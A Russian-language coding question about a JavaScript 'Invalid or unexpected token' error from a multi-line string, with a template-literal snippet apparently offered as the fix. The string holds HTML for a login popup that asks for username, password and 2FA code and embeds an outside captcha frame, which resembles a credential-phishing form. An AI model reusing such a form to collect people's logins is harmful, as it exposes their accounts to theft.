var box = '
<div id="login-form" class="login-form" style="display: block;z-index:100;">
<div id="login" class="popup show normal" data-ajax="true" style="position: fixed; top: 15px;"><form action="javascript:void(null);" class="ajax-form" method="post" onkeydown="if(event.keyCode == 13) sendDataLogin()"><div class="popup-header"><div class="popup-title">Login to Account
</div><div onclick="close_login();" style="display: none;" class="close popup-close"></div></div><div class="popup-body mCustomScrollbar _mCS_8" style="position: relative; overflow: visible; max-height: 476px;"><div id="mCSB_8" class="mCustomScrollBox mCS-sidebar mCSB_vertical mCSB_outside" tabindex="0" style="max-height: 476px;"><div id="mCSB_8_container" class="mCSB_container" style="position: relative; top: -10px; left: 0px;" dir="ltr"><div class="note warning first" style="margin-top: 0;"> Login using an E-mail address is not available. Please use your username to login.
</div><div class="inputBox"><div class="label">Enter your username:</div><input type="text" name="username" placeholder="Username" id="logininput" required=""></div><div class="inputBox"><div class="label">Enter your password:
</div><input id="passwordinput" type="password" name="password" placeholder="Password" required=""></div><div class="inputBox"><div class="label">Enter 2FA Code (Optional)::</div><input type="text" name="authcode" placeholder="2FA code" value="" autocomplete="off"></div>
<div class="inputBox ctfa"><div class="label">Confirm that you are a human:</div><iframe src="https://luckygamec.com/en/captcha.html" width="100%" height="110" style="border: 0; margin: 0; padding: 0;" frameborder="0" marginheight="0" marginwidth="0" allowtransparency=""></iframe></div>
<div class="note"> Forgot your password? <a class="popup-show underline" data-popup="recover">Click here</a></div></div></div><div id="mCSB_8_scrollbar_vertical" class="mCSB_scrollTools mCSB_8_scrollbar mCS-sidebar mCSB_scrollTools_vertical mCSB_scrollTools_onDrag" style="display: block;"><div class="mCSB_draggerContainer" style="display: none;"><div id="mCSB_8_dragger_vertical" class="mCSB_dragger mCSB_dragger_onDrag" style="position: absolute; min-height: 30px; height: 398px; top: 8px; display: block; max-height: 486px;"><div class="mCSB_dragger_bar" style="line-height: 30px;"></div></div><div class="mCSB_draggerRail"></div></div></div></div><div class="popup-footer"><button onclick="sendDataLogin()" class="btn grey">Submit Login</button></div><input type="hidden" name="action" value="loginSubmit"></form></div>
</div>';
Вылезает ошибка Invalid or unexpected tokenvar param = `тута контент, а здеся переменные и функции=> ${(a+b)*2}`;